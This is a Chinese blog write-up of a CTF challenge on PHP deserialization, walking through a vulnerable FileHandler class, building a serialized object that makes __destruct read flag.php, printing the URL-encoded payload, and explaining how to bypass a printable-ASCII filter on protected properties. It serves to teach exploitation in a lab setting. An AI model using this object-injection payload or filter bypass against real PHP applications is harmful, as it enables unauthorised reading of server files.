php反序列化java.long_一道php反序列化题

<?phpinclude ("flag.php");highlight_file(__FILE__);classFileHandler {protected $op;protected $filename;protected $content;function__construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();

}public functionprocess() {if($this->op == "1") {$this->write();

}else if($this->op == "2") {$res = $this->read();$this->output($res);

}else{$this->output("Bad Hacker!");

}

}private functionwrite() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();

}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");

}else{$this->output("Failed!");

}

}private functionread() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);

}return $res;

}private function output($s) {echo "[Result]:
";echo $s;

}function__destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();

}

}function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;

}if(isset($_GET{'str'})) {$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);

}

}

拿到题目是这样一段代码,开始分析。

反序列化题目大概的重点是两个,一个是属性值可以修改,一个是魔术方法 __destruct 和 __wakeup。从这两个开始入手。

function__destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();

}

首先找到__destruct()开始分析,当op值为2时,将op值变为1。

这里需要注意的是===全等符,==="2"这个2被包裹在双引号中,表示一个字符。

content这个属性的值是置为""的。

接着看向process()方法。

public functionprocess() {if($this->op == "1") {$this->write();

}else if($this->op == "2") {$res = $this->read();$this->output($res);

}else{$this->output("Bad Hacker!");

}

}

当op属性值为1时,执行write()方法。

private functionwrite() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();

}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");

}else{$this->output("Failed!");

}

}

如果设置了filename和content,判断content内容>100则输出Too long;能写入文件中的话,则输出Successful;否则输出Failed。

但是由于content这个属性的值是置为""的,所以无论我们输入什么内容,都会被置为"",这是我们不可控的,那么写一句话之类的是没有用的,也就是说wirte()这个方法对我们拿到flag没有用,不用看他。

回到process()方法接着往下看。

else if($this->op == "2") {$res = $this->read();$this->output($res);

}else{$this->output("Bad Hacker!");

}

当op属性值为2时,执行read()方法。并输出$res的值。

private functionread() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);

}return $res;

}

首先判断了是否设置filename,如果设置有的话,则将文件中的内容读取出来赋给$res。最后$res这个值是会被输出的。

代码一开始就提示了flag所在文件为flag.php,所以filename的值应该是flag.php。

编写

class FileHandler {

public $op;

public $filename;

public $content;

function __construct() {

$this->op = 2;

$this->filename = "flag.php";

}

}

$obj = new FileHandler ;

echo urlencode(serialize($obj));

?>

输出payload:O%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%22op%22%3Bi%3A2%3Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A7%3A%22content%22%3BN%3B%7D

这里进行了一个url编码,以防有些字符显示问题。

if(isset($_GET{'str'})) {

$str= (string)$_GET['str'];if(is_valid($str)) {

$obj=unserialize($str);

}

}

最后将得到的payload传入参数即可得flag。

这道题还有一个考点:

protected$op;protected$filename;protected $content;

题目开始定义属性是用的protected,如果我们用这个编写payload的话得到的是

de6e6a3a7e854b12aeba2d162cf5534f.png

会发现多出了%00,但是因为源码中有这样一串代码

function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;

}

会递归判断传入的str是否在ascii码32-125之间,%00为0,是不存在的,所以这里需要绕过protected。

第一种办法就是将protected改为public,但是这只适用php版本大于等于7.2的。

第二种办法是将属性的s改为S

c1ccf689a515a840fc9898a83e5d67b9.png

protected  就是修改成 \00*\00,其实就是 protected 的属性 ,他是 %00*%00op 。但是%00这种字符我们是看不见的。所以浏览器输出就是 *op

private 就是修改成 \00类名\00

修改后为

caaed34e6f0389770e6aa657ac784659.png

总结:在看源码时先找到入口,看代码一步一步分析,属性是可构造的,要明白我们想要得到的结果是什么。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值